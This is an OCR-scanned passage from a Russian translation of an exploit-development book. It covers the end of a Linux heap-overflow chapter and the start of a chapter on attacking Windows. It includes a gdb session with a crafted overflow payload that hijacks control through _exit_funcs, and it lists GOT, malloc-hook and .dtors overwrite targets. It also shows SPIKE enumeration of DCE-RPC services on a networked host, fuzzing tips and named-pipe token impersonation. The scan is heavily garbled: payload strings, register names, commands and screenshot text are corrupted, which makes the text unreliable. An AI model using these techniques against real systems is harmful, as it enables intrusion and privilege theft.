94 Глава 5. Переполнение кучи (gdb) r spython -с 'print "Aмn024+,,\xfc\xff\xff\xff,,+"\xfO\xff\xff\xff"+мAAAAABCDEFGH,, ,ч Program received signal SIGSEGV. Segmentation fault. 0x42074005 in _int_free О from /1lb/i686/1ibe so.6 7: /x $edx = 0x44434241 6: /x $ecx = 0x80499a0 5: /x $ebx = 0x4212a2d0 4- /x $eax = 0x48474645 3: /x $esi = 0x80499b4 2. /x $edi = Oxffffffec (gdb) x/4i $pc 0x42074005 <jntjree+149>- mov Seax.OxcUedx) 0x42074008 <_int_free+152>- mov Uedx.0x8«eax) Теперь значение %еах будет записано в %edx+12, a %edx — в %еах+8. Проследите за тем, чтобы адреса %еах и %edx были действительными для записи (или в программе должен быть назначен обработчик сигнала SIGSEGV). (gdb) print "Ш". &_exit_funcs-12 $40 = (<data variable, no debug info> *) 0x421264fc Конечно, после определения фиктивного фрагмента также необходимо определить другой заголовок фиктивного «предыдущего» фрагмента, или при вызове intfree произойдет сбой. Задав размер buf2 равным ОхГГГГГГГО (-16), мы поместили фиктивный фрагмент в область buf, находящуюся под нашим контролем (рис. 5.1). ? Выделенная память И Свободная память П Неиспользуемая память Пример нефрагментированной кучи. Большая часть пробелов в этом примере была успешно объединена качественной реализацией malloc Пример фрагментированной кучи. После многократных операций выделения памяти остаются свободные блоки, которые не удается легко срастить или использовать Рис. 5.1. Переполнение кучи
Переполнение кучи 95 Ti'iirpi. нес вместе: •'A,'MI(I2)-b,,\xff,,M-b,,A,,*8+"\xf8\xff\xff\xff"+M\xfO\xff\xff\xff"+"\xff\xff\xfff \»l I "A,'',nntel_order(wordl)+intel_orcier(word2) ilvH't i. wordl+12 перезаписывается значением wordl, a word2+8 — значением wordl (функция intel_order() преобразует любое целое число в строку с обратным по- |ми|м>м следования байтов). Пиринги, мы просто выбираем слово, предназначенное для перезаписи данных. И ном случае basicheap вызывает exit() непосредственно после освобождения hut.' (<i<lh) pnnt/x exit_funcs 1-l.i - 0х4212аа40 Miii можем использовать это значение как wordl, а адрес в стеке — как word2. Моторное переполнение с этими аргументами приводит к следующему резуль- IIIIV hi)<ir<]in received signal SIGSEGV. Segmentation fault (i-hlNffOf in ?? () lv it is иидите, мы успешно передали управление в стек. Если бы это было локальное переполнение кучи, а стек был исполняемым, задачу можно было бы счи- hin. решенной. Объекты замены И о(нцем случае возможны три основных стратегии: I Пимена указателей на функции. J Замена кода, находящегося в сегменте, для которого разрешена запись. I Мри записи двух слов — запишите фрагмент кода, а затем замените указа- ic/ii, на функцию, чтобы он ссылался на записанный код. Также можно замени п> значение логической неременной (например, is_logged_in) для изменения хода выполнения программы. Записи таблицы GOT М< пользуйте команду objdump -R для чтения указателей на функции GOT из 1нч|J M.ivePwww F0RFUN]$ objdump -R /heap2 /1нчр2 file format elf32-i386 DYNAMIC RELOCATION RECORDS 01 I'.l I TYPE VALUE ||М(И%Ь4 R_386_GL0B-DAT __gmon_start_ ()ЖМ%/10 R_386_JUMP_SL0T malloc 0ЖИЧМ4 R_386_JUMP_SL0T _1 ibc_start_main ()ЖИ%/|8 R_386_JUMP_SL0T pnntf пжичМс R_386_JUMP_SL0T free i)H(L%',() R 386 JUMP SLOT strcov
96 Глава 5. Переполнение кучи Указатели на глобальные функции Многие библиотеки (такие, как malloc.c) используют указатели на глобальные функции для работы с отладочной информацией, журналами и для выполнения других функций. Переменные free_hook, malloc_hook и realloc__hook часто бывают полезными в программах, которые вызывают одну из этих функций после того, как вы смогли выполнить перезапись данных. Таблица деструкторов В таблице DTORS хранятся деструкторы, применяемые gcc при выходе. В следующем примере мы могли бы использовать значение 8049632с как указатель на функцию для перехвата управления при вызове exit(): [dave@www F0RFUN]$ objdump -j .dtors -s heap2 heap2. file format elf32-i386 Содержимое секции .dtors: 8049628 ffffffff 00000000 Итоги Большинство методов переполнения кучи подразумевает повреждение структуры данных malloc() для перехвата управления, поэтому в различных реализациях malloc() были предприняты попытки защиты с применением стражей (canaries), сходных со стражами стеков, но они еще не получили широкого распространения (скажем, на момент написания книги FreeBSD была единственной системой, в которой была предусмотрена эта простая проверка). Но даже если стражи кучи получат повсеместное распространение, существуют и другие методы переполнения, не манипулирующие внутренними структурами malloc(), и многие программы останутся уязвимыми.
Часть II Платформа Windows ()i шюдной части, посвященной эксплуатации уязвимостей Linux на процессорах IA32, мы переходим к более сложным операционным системам и концепци- им. Вюрая часть книги открывается главой 6, которая поможет вам понять, чем Windows принципиально отличается от комбинации Linux/IA32, представленном и первой части. Глава 7 посвящена разработке внедряемого кода для Windows, а в главе 8 рассматривается более сложный материал той же тематики. 11ак()нец, углубленное изучение Windows завершается главой 9, в которой рас- гказывается о преодолении фильтров в Windows. Принципы преодоления фильтров могут быть применены в любом сценарии внедрения постороннего кода.
ГЛАВА 6 Дикий мир Windows В дальнейшем все операционные системы будут рассматриваться в контексте их отличий от Linux. Эта глава поможет опытным хакерам Win32 взглянуть на проблемы Windows с новой точки зрения, и одновременно даст хакерам, ориентированным на Unix, неплохое представление о внутреннем строении Win32. К концу главы вы сможете написать несложную программу эксплуатации уяз- вимостей Windows и узнаете, как избежать распространенных ошибок, часто встречающихся в более сложных ситуациях. Также будут представлены основные средства отладки Windows. Попутно мы рассмотрим модели безопасности и программирования для Windows, модель DCOM (Distributed Component Object Model) и формат РЕ-COFF (Portable Executable — Common File Format). Короче, здесь найдется все, что необходимо знать опытному хакеру с практическим опытом, желающему освоить методы атаки на Windows. Различие Windows и Linux Группа разработчиков Windows NT приняла на ранней стадии ряд решений, впоследствии оказавших глубокое влияние на архитектуру всех систем этого семейства. Работа над проектом NT в 1989 году шла полным ходом, а первая версия была выпущена в 1991 году под именем Windows NT 3.1. Многие внутренние компоненты были позаимствованы из VMS, хотя между VMS и NT существует целый ряд принципиальных различий. В этой главе мы рассмотрим некоторые особенности Windows NT, которые могут оказаться незнакомыми для тех, кто привык иметь дело с «внутренностями» Linux и Unix. API и РЕ-COFF для Win32 OllyDbg — это полнофункциональный анализирующий отладчик с широким набором функций для Windows и мощными инструментами анализа двоичных файлов (рис. 6.1). Чтобы хорошо усвоить и применить на практике материи;! этой главы, вам потребуется OllyDbg или другая программа, обладающая сходными возможностями. OllyDbg распространяется на условиях shaicwjnv (http:// www.ollydbg.de/).
Различие Windows и Linux 99 ¦и it» vi» f Debug Plugins Options Window Help .Hill 58$ ИШ 41 *i jyiligiMlLsJ BbswSi^y] /i.iiil.iiy.il IfiffU: I I I им! Mi Inns referenced in ntdll:.text шал»*? fi|ur» ЦI UNICODE "Cont S»il II Ml rum n My» •• Ш«и in.'*,-* Mt.'*IM bhul A rftifcit ( tl,'IH1l rrent" MS" •t\S6Tvi" Unicode "cts",0 l,W ^ ..)<) . nnti ECX,280010 ЦП ntall.?7F83D88 UMICODE "s^MINCn" OH1 CODE 0 lili ntdll.77F840C8 IIHICODE "\s.\CON"f0 HI.) ntdll.77F840F8 IINI CODE "ss.V\0 I'USM ntdll.?7F8S9E0 I'UbH ntdtl.77F8S9EC HOC II "RtILock Heap",0 MSCII "RtlllnlockHeap", PUSH ntdll.77F87894 OHICODE ".dll"f0 TUSH ntdll.77F87B0C UHICODE "S-l-",0 PUSH ntdll.77F87C44 штшшшш n .d^.l.lu^.^^^L'on^a»^" UNICODE " yy" UNICODE "n^MJNCV .UNICODE ".dll" UNICODE "S-1-" UNICODE "\RE6ISTRVnUSERn" IHHUH)) 4U0UH ГКИН1Й JO06E000! 77D37740J RPCRT4 , 0005D000! 77DB5P,8S< fiOUfiPI32| OO065000i 77E2P.BDB* USER32 0O0B6000 77E88?lDjKERNEL32 0003C000! I60I32 itdll S.00.S S.00.2 5.80.2 5.00.5 ?171 Li Wllllll >*У»КГПС 219gC:sWINNTNsyster',; 219S C:\WINNT\SystenS 00046000 78001378!MSUCRT ! 6. 10.935S C:sWINNTssystenc 77F41000 77F78000 77F79000. 77F7O000 77F80000 77F81000 77FC6000 77FCB000 77FCF000' 77FO2000 77FF9000 ШШШ 00037000 GDI32 00001000 GDI32 00001000 GOI32 00002000 GOI32 00001000 ntdll 00045030 ntdll ~~~ ntdll ntdll ntdll 00027000 ntdll 00002000 ntdll 00001000 NSUCRT .text ECODE PAGE .data code, inport- Inag data Inag resources • Inag relocations Inag PE header Inag code,енport-Inag code .Inag code Inag data Inag resources Inag relocations Inag PE header .Inag ¦1Шдф..1.$вйМ.1.Уи 77031064 .teHtInr ilfoss...,.,. 77D31058 . 770310C0 . 77D311AC . 77D31104 . 77D311P.8 . 77D31170 . 77D31104 . 77D3123C . 77031048 . 77D312fiC . 7706989F . 7T169P14 . Inport Inport Inport Inport Inport Inport Inport Inport Inport Export ,Look u pficcou n t NaneW <•.. у > . sLookupficcountSidW v *% IstrcnpP N :•"• Istrcnpifl • • • "N *\ IstronpW "•л - Istrcpyft ^ ?' Istrlenfi "< *•? Istrlenlil ".-.-". Itoa f - -'- .MakeSelfRelativeSD л °IS>nennowe NesBufferHandleReset 77FB8739 . 77F8EECB . 77FB37AE . 77F971F5 . 77FB9670 77FB9723 , 77FB97C9 . 77F8B2B3 . 77F89869 . YFB98EP . 77F83EP1 . 77FB9927 . 77F97O00 . Export Export Export Export Export Export Export Export Export Export Export Export snprir snwprintf . splitpath sprintf sqrt sscanf strcat strchr ¦strcnp strcspn .stricnp strlen _i I (^ Oily Dbg - cmd.exe Рис. 6.1. OllyDbg выводит всю необходимую информацию о загруженных в память библиотеках DLL Основным программным интерфейсом для Windows является 32-разрядный шмсрфейс Windows API. С точки зрения Linux-программиста он представляет i nhoii совокупность всех общих библиотек, находящихся в каталоге /usr/lib. ПРИМЕЧАНИЕ 1.сли вы подзабыли интерфейс Windows API или никогда не имели с ним дела, ознакомьтесь с превосходным учебником Брука Майлза (Brook Miles) по адресу www.winprog.org/tutorial/. Опытный программист Linux может написать программу, непосредственно м ипмодействующую с ядром (например, с использованием системных функций ореп() или writeQ). В Windows такая возможность отсутствует. Каждое но- in и* обновление и каждая новая версия Windows NT изменяет интерфейс ядра, .1 мюбы программы продолжали работать, в систему включается соответствующий набор библиотек, называемых библиотеками динамической компоновки (I >yiumic Link Library, DLL). Библиотеки DLL содержат исполняемый код функций; этот код компилируется, компонуется и хранится отдельно от про- lurci, в котором он применяется. Windows API реализуется в виде набора DLL, н мюоой процесс, работающий с Win32 API, использует динамическую комно пипку
100 Глава 6. Дикий мир Windows Такая архитектура дает группе разработчиков ядра Windows возможность менять внутренние программные интерфейсы и добавлять в них новые функции, сохраняя относительно стабильный интерфейс API для разработчиков программ. Напротив, любые попытки включить новый аргумент в системную функцию любой из разновидностей Unix вызовут яростные протесты со стороны программистов. В Windows, как и в любой современной операционной системе, используется перемещаемый (relocatable) формат файлов, загружаемых на стадии выполнения для предоставления функциональности общих библиотек. В Linux это были бы so-файлы, в Windows ими являются DLL-файлы. Подобно тому, как so-файлы создаются в формате ELF, DLL-файлы создаются в формате РЕ- COFF (также используется сокращенное обозначение РЕ — Portable Executable). Формат PE-COFF был создан на основе формата COFF системы Unix. В начале каждого РЕ-файла находятся таблицы импорта и экспорта. Таблица экспорта указывает, какие функции предоставляет данная библиотека DLL и где после загрузки файла в память следует искать эти функции. В таблице импорта перечислены все функции, используемые РЕ-файлом и находящиеся в DLL, а также имена всех библиотек, в которых находятся импортируемые функции. Как правило, РЕ-файлы являются перемещаемыми. Как и ELF-файлы, они делятся на секции. Секция .reloc может применяться для перемещения DLL в памяти. Она позволяет одной программе загрузить две библиотеки DLL, откомпилированные для использования одного пространства памяти. В отличие от Unix, система Windows по умолчанию сначала ищет библиотеки DLL в текущем рабочем каталоге, и только потом переходит к поискам в других местах. С точки зрения хакера это открывает дополнительные возможности по обходу ограничений Citrix и Terminal Server, но с точки зрения разработчика появляется возможность развертывания библиотеки DLL, отличающейся от той, что хранится в системном каталоге (\winnt\system32). Иногда при этом возникает специфическая проблема, называемая кошмаром DLL (DLL Hell). Пользователю приходится изменять значения переменной окружения PATH и перемещать библиотеки DLL, чтобы они не конфликтовали друг с другом. Первое, и самое важное, что необходимо знать о формате PE-COFF— адресация RVA (Relative Virtual Address — относительный виртуальный адрес). Адреса RVA сокращают объем работы, которую приходится выполнять загрузчику РЕ. Функции могут быть перемещены но любому адресу виртуального адресного пространства; если бы загрузчику РЕ приходилось исправлять все перемещаемые объекты, это привело бы к огромным затратам ресурсов. В процессе изучения Win32 вы заметите, что компания Microsoft склонна использовать акронимы (RVA, AV [Access Violation], AD [Active Directory] и т. д.) вместо сокращений самих терминов, как в Unix (tmp, etc, vi, segfault). В каждой новой версии документации Microsoft появляется несколько тысяч новых терминов и связанных с ними акронимов. Акроним «RVA» означает всего лишь следующее: «Каждая библиотека DLL загружается в память по некоторому базовому адресу; чюбы наши нужную
Куча 101 функцию, нужно прибавить значение RVA к базовому адресу». Например, функции maUoc() находится в библиотеке msvcrt.dll. Заголовок msvcrt.dll содержит ию.чицу экспорта — таблицу функций, предоставляемых этой библиотекой, hifuiima экспорта содержит строку с именем malloc и значение RVA (например, 2000). После загрузки библиотеки DLL в память (скажем, по адресу ПмМООООООО) функцию malloc можно будет найти по адресу 0x80002000. Обычно н Windows NT ЕХЕ-файлы загружаются по адресу 0x40000000. Адрес может измени и.ся в зависимости от языковых пакетов или параметров компилятора, н игг же до некоторой степени он является стандартным. ( имполические имена для РЕ-файлов, распространяемых Microsoft, обычно мигипишются дополнительно. Вы можете загрузить пакеты символических нмгп для каждой операционной системы Microsoft с веб-сайта MSDN или под- \\ чючиться к серверу Symbol Server из WinDbg. Отладчик OllyDbg в настоящее иргми не поддерживает удаленное подключение к Symbol Server. Куча Мри .{агрузке библиотеки DLL вызывается функция инициализации. Эта функции часто создает собственную кучу вызовом HeapCreate() и сохраняет указа- М'mi, па нее в глобальной переменной, чтобы она использовалась при будущих миграциях выделения памяти вместо умалчиваемой кучи. В большинстве биб- 'шм1гк DLL присутствует секция .data, предназначенная для хранения глобальных переменных, причем в этой области часто попадаются полезные указатели нп функции или структуры данных. Так как в памяти одновременно находится мною загруженных библиотек DLL, куч тоже много, и это обстоятельство усложняет атаки, направленные на повреждение служебных данных кучи. В Linux Mhi.riiio повреждается всего одна куча, но в Windows нарушения могут происходи м. одновременно в нескольких кучах, что существенно усложняет анализ си- iv.тип. Когда пользователь вызывает malloc() в Win32, он в действительности идгйетвует функцию, экспортированную библиотекой msvcrt.dll, которая затем ш.|.1ыиает HeapAllocateQ для создания личной кучи этой библиотеки. Проблемы обычно начинаются тогда, когда вы завершили переполнение кучи и пытаетесь вызвать какие-нибудь функции Win32 API из своего внедряемого кмда Одни функции работают нормально, другие вызывают ошибки нарушения доступа в RtlHeapFree() и RtlHeapAUocate() и завершают процесс до того, как iii.i помучите возможность взять его иод свой контроль. В частности, функция Wiiil xec() и ее аналоги не работают с поврежденной кучей. V каждого процесса имеется умалчиваемая куча. Ее можно найти с помощью функции GetDefaultHeap(), хотя ее повреждение маловероятно. Важное свойство кучи Windows заключается в том, что она может расти за пределы сегментов. I Li при мер, если отправить достаточно данных серверу IIS, вы заметите, что сср- игр выделяет сегменты в старших адресах памяти и использует их для хранения I.IHHMX Подобные манипуляции с памятью могут быть полезны, если набор < пмно/нж, которыми записывается адрес возврата, ограничен, и вы хотите уйти mi нижних адресов памяти (в этих адресах хранится умалчиваемая куча). В чакои
102 Глава 6. Дикий мир Windows ситуации может пригодиться утечка памяти в целевой программе, позволяющая заполнить всю память программы внедряемым кодом. Реализовать переполнение кучи в Windows примерно так же сложно, как и в Unix. Базовые принципы остаются неизменными — а если действовать достаточно осторожно, то путем переполнения кучи в Windows молено даже сделать более одной записи, что существенно упрощает эксплуатацию уязвимости. Многопоточность Поддержка программных потоков (threads) реализована в Windows на уровне, которого никогда не было в Linux, и вероятно, не будет до выхода ядра 2.6. Многопоточность дает возможность одному процессу решать несколько подзадач в общем пространстве памяти. Ядро Windows выделяет кванты процессорного времени программным потокам, а не процессам. В Linux используется весьма несовершенная модель «облегченного процесса», и только после реализации концепции Linux Native Threads система Linux выйдет на один уровень с другими современными ОС. Просто потоки не занимают такого важного места в модели программирования для Linux по причинам, которые станут понятными после объяснения модели безопасности NT. Именно по соображениям миогопоточности используется значение НRESULT — целочисленный код, возвращаемый почти всеми функциями Win32 API. НRESULT содержит либо код ошибки, либо код нормального завершения. При получении кода ошибки функция GetLastError() возвращает расширенную информацию, которая читается из локальной памяти потока. С другой стороны, в модели Unix невозможно различить значения errno разных программных потоков. Архитектура Win32 изначально проектировалась в расчете на миогопо- точную модель. В Windows не существует функции forkQ, используемой для порождения новых процессов в Linux. Вместо нее функция CreateProcessQ создает новый процесс, обладающий собственным адресным пространством. Процесс может унаследовать любые манипуляторы (handles), помеченные родительским процессом как наследуемые. Тем не менее, родитель должен сам передать эти манипуляторы дочернему процессу, или потомку придется угадывать их значения (манипуляторы представляют собой небольшие целые числа). Поскольку переполнения почти всегда происходят в потоках, действительный адрес стека остается неизвестным для нападающего. А это означает, что для перехвата управления нападающий почти всегда применяет трюк с возвратом в libc (впрочем, при этом может использоваться любая библиотека DLL, а не только libc или ее аналог). Гениальность и глупость концепций DCOM и DCE-RPC Нелишне напомнить, что политика Microsoft на рынке программной» обеспечения всегда заключалась в распространении двоичных пакетом .»;i депми, и oi
Гениальность и глупость концепций DCOM и DCE-RPC 102 расль формировалась именно с таким расчетом. По этой причине каждая про флммная архитектура от Microsoft поддерживает эту модель. Иногда можно разработать довольно сложное приложение, приобретя СОМ-модули от раз личных производителей, записав их в общий каталог, а затем объединив их прр помощи сценария Visual Basic. (Ч)М-объекты могут писаться на любых языках, которые поддерживают мо демь СОМ и взаимодействуют с ней. Многие странности СОМ преподносятся k;ik естественные архитектурные решения; например, то что является целы\ числом в C++, может не быть целым числом в Visual Basic. Для более глубокого изучения СОМ необходимо рассмотреть типичный файл написанный на языке IDL (Interface Description Language). Мы воспользуемся IDL-файлом DCOM (о том, что это такое, будет рассказано далее): Г uuid(e33c0cc4-0482-101a-bc0c-02608c6ba218), version(l.O). implicit_handle(handle_t rpc_binding) ] interface ??? { typedef struct { TYPE_2 element J. TYPE_3 element_2; } TYPE_1, short Function_00( [in] long element_9. [in] [unique] [string] wchar_t *element_10, [in] [unique] TYPE_1 *element_ll. [in] [unique] TYPE_1 *element_12, [in] [unique] TYPE_2 *element_13, [in] long element_14, [in] long element_15. [out] [context_handle] void *element_16 ). И сущности, это определение является аналогом заголовочного файла класс; и C++. В нем просто перечисляются аргументы (и возвращаемые значения функций интерфейса, заданного кодом UUID. Каждому значению, которо< должно быть уникальным, в СОМ присваивается код GUID — 128-разрядшх /чобалъпо-упикалъпое (то есть заведомо не повторяющееся) число. Таким обра «ом, ссылка надданный код UUID однозначно идентифицирует конкретный ни и'рфейс. Описания интерфейсов СОМ-объектов могут быть сколь угодно сложными Компилятор (совместно с механизмом поддержки модели СОМ) должен сгене рировать код, соответствующий правилам внутреннего представления язык;! и одновременно удовлетворяющий спецификации IDL. То же относится к сим пилам, массивам, хранящимся в массивах указателям, структурам с вложенпы ми массивами и т. д. < И>ращения к СОМ-компопснтам могут осуществляться двумя способами: аа i py.iKoii прямо и адресном пространстве процесса в виде DLL 11./111 дапускш и пиле службы (ни/1 управлением специального сисн'мпою ппппееса Seivif
104 Глава 6. Дикий мир Windows Control Manager). Запуск СОМ-сервера в другом процессе повышает стабильность и защищенность вашего процесса, но такой вариант работает намного медленнее. Вызовы внутри процессов, не требующие преобразования типов данных, выполняются буквально в тысячу раз быстрее обращений к СОМ-ин- терфейсу на том же компьютере, но в другом процессе. СОМ-служба в пределах одного компьютера обычно работает минимум на порядок быстрее, чем на другом компьютере той же сети. Для Microsoft было важно то, что при внесении программистом простого изменения в реестр или при замене одного параметра программа для обслуживания того же вызова начинает использовать другой процесс или другой компьютер. Возьмем службу AT. Если бы вы писали программу для взаимодействия с AT и системой планирования заданий, вам пришлось бы найти определения интерфейсов службы AT, произвести вызов DCOM для привязки к интерфейсу, а затем вызвать некоторую процедуру интерфейса. Конечно, вам бы также потребовался IDL-файл — прежде чем передавать данные от вашего процесса процессу службы AT необходимо определить, как преобразуются аргументы. Описанная процедура сработала бы даже в том случае, если бы процесс работал на другом компьютере. В этом случае DCOM-библиотеки вашего компьютера подключаются к распределителю конечной точки (endpoint mapper) удаленного компьютера (порт 135 протокола TCP) и «спрашивают», где осуществляет прослушивание служба AT. Распределитель конечной точки (который также является службой DCOM, но всегда использует заранее известный порт) отвечает: «Служба AT осуществляет прослушивание на именованном канале служб RPC, к которому можно подключиться через порты 445 и 139. Кроме того, прослушивание ведется на порте 1025 протокола TCP и порте 1034 протокола UDP для вызовов DCE-RPC». Вся эта процедура совершенно прозрачна с точки зрения программиста. Теперь вы знаете, в чем гениальность концепций DCE-RPC и DCOM. Вы можете продавать двоичные DCOM-пакеты или просто установить сетевой компьютер, на котором установлены DCOM-интерфейсы, и дать возможность разработчикам подключаться к ним из Visual Basic, C++ или других языков с поддержкой DCOM. Для повышения быстродействия интерфейсы также можно загрузить непосредственно в клиентском процессе в виде DLL. Эта парадигма заложена в основу практически всех возможностей, благодаря которым Windows NT считается ярко выраженной серверной платформой. Расширенные клиенты, возможность удаленного администрирования и ускоренная разработка приложений — все это означает одно и то же: DCOM. Но конечно, у DCE-RPC и DCOM есть и свои недостатки. То, что один назовет возможностью удаленного администрирования, другой расценит как возможность удаленной атаки. Хакер должен знать целевую систему лучше, чем ее администратор. А если учесть, что практически все аспекты системной безопасности базируются на сложных и практически недоступных для понимания DCOM-функциях, это не так уж трудно. В нескольких ближайших разделах рассматриваются основные припиши,! .же илуатацип уязшшостеп DCE-RPC и DCOM
Гениальность и глупость концепций DCOM и DCE-RPC 105 Сбор информации Существуют два основных пакета для удаленного сбора информации DCE- КРС: SPIKE (www.immunitysec.com/) Дейва Эйтела (Dave Aitel) и DCE-RPC lools (http://razor.bindview.com/) Тодда Сабина (Todd Sabin). \\ следующем примере мы воспользуемся утилитой SPIKE dcedump для просмотра служб DCE-RPC (также называемых DCOM-интерфейсами), доступных в удаленном режиме и зарегистрированных в распределителе конечной 1очки. Результат может рассматриваться как отдаленный аналог вызова iprdump -p в Unix. ldave@localhost dcedump]$ /dcedump 192 168 1 108 | head -20 DCE-RPC tester. IcpConnected Lntrynum=0 annotation= uuid=4f82f460-0e21-llcf-909e-00805f48al35 . version=4 fxecutable on NT- inetinfo exe ncacnjip \\WIN2KSRV[\PIPE\NNTPSVC] Intrynum=l annotation= uuid=906b0ce0-c70b-1067-b317-00dd010662da . version=l fxecutable on NT- msdtc exe ncalrpc[LRPC000001f4 00000001] Lntrynum=2 annotation= uuid=906b0ce0-c70b-1067-b317-00dd010662da . versions Executable on NT. msdtc exe ncacn_ip_tcp 192 168 1 108[1025] I l;i листинга видно, что на удаленном компьютере доступны три разных интерфейса с тремя разными способами подключения. Для дополнительного анализа интерфейсов, предоставляемых распределителем конечной точки, используется утилита SPIKE ids(ifids). Таким же образом анализируются практически все остальные интерфейсы с поддержкой TCP (одним из исключений является insdtc.exe). |dave@localhost dcedump]$ /ifids 192 168 1.108 135 DCE-RPC IFIDS by Dave Aitel. I inds all the interfaces and versions listening on that TCP port Iср connected Iound 11 entries Daf8308-5dlf-llc9-91a4-08002bl4a0fa v3 0 0b0a6584-9e0f-llcf-a3cf-00805f68cblb vl 1 ()/b201b0-59ca-lld0-a8d5-00a0c90d8051 vl 0 P()()r73e6-88f9-llcf-9afl-0020af6e72f4 v2.0 ,)<Hcfec4-5260-101b-bbcb-00aa0021347a vO 0 b(W9e60-3d52-llce-aaal-00006901293f vO 2 /112B^10 cl2a lire abff-0020af6e7al7 vO 2 ()()()()(I36 0000 ()()()() Г000-000000000046 vO 0
106 Глава 6. Дикий мир Windows C6f3ee72-ce7e-lldl-b71e-00c04fc3111a vl.O 4d9f4ab8-7dlc-llcf-861e-0020af6e7c57 vO.O OOOOOlaO-OOOO-OOOO-cOOO-000000000046 vO.O Done Собранные данные можно передать программе SPIKE msrpcfuzz для поиска переполнения в распределителе конечной точки или в любой другой службе TCP. Если у вас имеются IDL-файлы для этих служб (некоторые из них можно найти в проектах с открытыми исходными текстами — такими, как Snort), вы сможете управлять анализом этих функций. В противном случае остаются лишь варианты автоматического или ручного двоичного анализа. Одной из программ, которая может вам помочь, является Muddle (www.cse.unsw.edu.au/~matthewc/muddle) Мэтта Чепмена (Matt Chapman). Эта программа автоматически декодирует некоторые исполняемые файлы и сообщает вам используемые аргументы. Именно программа Muddle сгенерировала фрагмент IDL-файла, приведенный ранее в этой главе. Эксплуатация уязвимостей По количеству вариантов эксплуатации уязвимостей удаленные службы DCOM не уступают удаленным службам SunRPC. Вы можете выполнять атаки в стиле функции рореп() или system(), пытаться обращаться к файлам в файловой системе, искать переполнения буферов, пытаться обходить аутентификацию — короче, делать все, к чему может быть уязвим удаленный сервер. Лучшим общедоступным инструментом для экспериментов со службами RPC является SPIKE. Тем не менее, если вы хотите использовать уязвимосги удаленных служб DCE-RPC, вам потребуется проделать изрядную работу для дублирования протокола на выбранном вами языке. CANVAS (www.immunitysec.com/CANVAS/) дублирует DCE-RPC с применением Python. Поначалу для эксплуатации уязвимостей DCE-RPC или DCOM возникает искушение задействовать внутренние интерфейсы API Microsoft, но в долгосрочной перспективе невозможность напрямую контролировать API снизит надежность таких решений. По возможности старайтесь использовать собственную реализацию протокола (или реализацию с открытыми текстами). Маркеры и заимствование прав Маркером (token) называется совокупность прав доступа. В Windows для определения прав доступа к файлам и процессам нет такого простого механизма разрешений, как в Linux (пользователь/группа/прочие). Вместо этого применяется гибкий и обычно недопонятый механизм, основанный на применении маркеров. Если не вдаваться в подробности, маркер представляет собой простое 32-разрядное целое число вроде файлового идентификатора. Ядро NT поддерживает в каждом процессе внутреннюю структуру, которая определяет, какой набор прав доступа представляет тот или иной маркер. Например, если процесс хочет породить другой процесс, он должен проверить, разрешен ли ему доступ к соответствующему файлу.
Гениальность и i луиооп» концепций DCOM и DCE-RPC 107 И мог здесь все усложняется, потому что маркеры делятся на несколько типов, и на каждую операцию влияют два маркера: первичный маркер (primary token) и маркер текущего потока (thread token). Маркер текущего потока может быть помучен от другого процесса или от функции LogonL)ser(). Функция LogonUser() помучает имя пользователя и пароль и возвращает новый маркер в случае успешного Завершения. Вы можете присоединить любой маркер к текущему потоку функцией SretThreadToken(token_to_attach) или отсоединить его функцией l<i'vertToSelf(), после чего поток возвращается к первичному маркеру. Ihnepcca ради загрузите программу Process Explorer (www.sysinternals.com), и вы увидите кое-что любопытное: первичный маркер отображается в формате \<ч Name, а на нижней панели могут выводиться один или несколько маркеров •ми разных уровней доступа (рис. 6.2). г Process tixplorer - Sysinte ma Is: www.sysinternals.com Г Но View Process Handle Options Search fielp hww*  System Idle Process ~" System **4SMSSbXE *" CSRSS EXE If WINLOGON EXE ^SERVICES EXE >**** svehost exe ****. hpgs2wnf exe ш> DLLHOST EXE ™WM$\№. **** spoolsv exe (• ? msdtc exe f*^ swagent exe F* swstrtr exe .*и* swsoc exe IftD 0 8 160 184 204 232 448 1928 2512 Ш 480 680 824 844 m... I m \ o«« 86 04 00 01 06 11 00 00 06 Ш 00 00 00 00 01 Windows Client Ser Windows Services Generic hpgs2wnt COM Sun CDM %Ы Spooler S MSDTC DataOire DataDire DataDire | U^N«№i« <access denied> NT AUTHORITY\SYSTEM NTAUTHORITY\SYSTEM NTAUTHORITY\SYSTEM NTAUTHORITY\SYSTEM NTAUTHORITYSSYSTEM NTAUTHORITY\SYSTEM EXAMPLE Administrator NT AUTHORITY^VSTEM Ш№Х№Ш„У1Ш& NTAUTHORITY\SYSTEM NTAUTHORITY\SYSTEM NTAUTHORITYSSYSTEM NTAUTHORITY\SYSTEM NTAUTHORITY\SYSTEM 1 Щ0Й& 0 8 11 13 13 9 8 8 8 e 8 8 8 8 8 | Hw&a I Wfofo» | 0 197 33 972 426 770 420 86 147 m 132 211 205 15 211 ~~~~?$ ~J Handle iixlDS ilxllX llx.'lM lix.'IC Их J. 8 ПхЛЧГ Пу.'5С Пх.'ЬО llx/64 Hxl 0 !lx IH 11x40 Jl?Ew.^i,^ Thread Thread Thread Thread Thread T hread T hread Thread Thread Thread WindowS tation WindowStation ...j. Access.,., 0x001F03FF 0x001F03FF 0x001F03FF 0x001F03FF 0x001F03FF 0x001F03FF 0x001F03FF 0x001F03FF 0x001F03FF 0x001F03FF 0x000F037F 0x000F037P j Urns DLLHOST EXEC896) 1704 DLLHOST EXEC896) 2192 DLLHOST EXEC896) 1908 DLLHOST ЕХЕC8Э6) 6Э6 DLLHOST EXEf3836) 2780 DLLHOST EXEC896) 2780 DLLHOST EXEC896) 3672 DLLHOST EXEC896) 1936 DLLHOST EXEC896) 1936 DLLHOST EXEC896) 1456 \W indows\WmdowS tations\S ervice W/mdows'\WindowStations\Service 0x0 2a069$ 0x0 2a069$ , j._ , to _^±i *t] ; jy>l«rtj<» ^ & О \ ME^^^^^BjAI »** Process Explorer - Рис. 6.2. Просмотр маркеров процесса в Process Explorer Получить маркер or другого процесса несложно: при вызове функции Imper '.onateNamedPipeCLientO ядро предосгавляет маркер любого процесса, подклю •к иного к созданному вами именованному каналу. Таким образом, вы можем* ипмепювать права удаленных клиентов DCE-RPC или любого клпета, кою 1>ым сообщил вам имя пользователя и пароль. Например, при подключении пользователя к FTP-серверу на бане Unix сервер p.iooi.iei справами root, поэтому ом можем вы.шап> функцию sctuidQ и заменим.
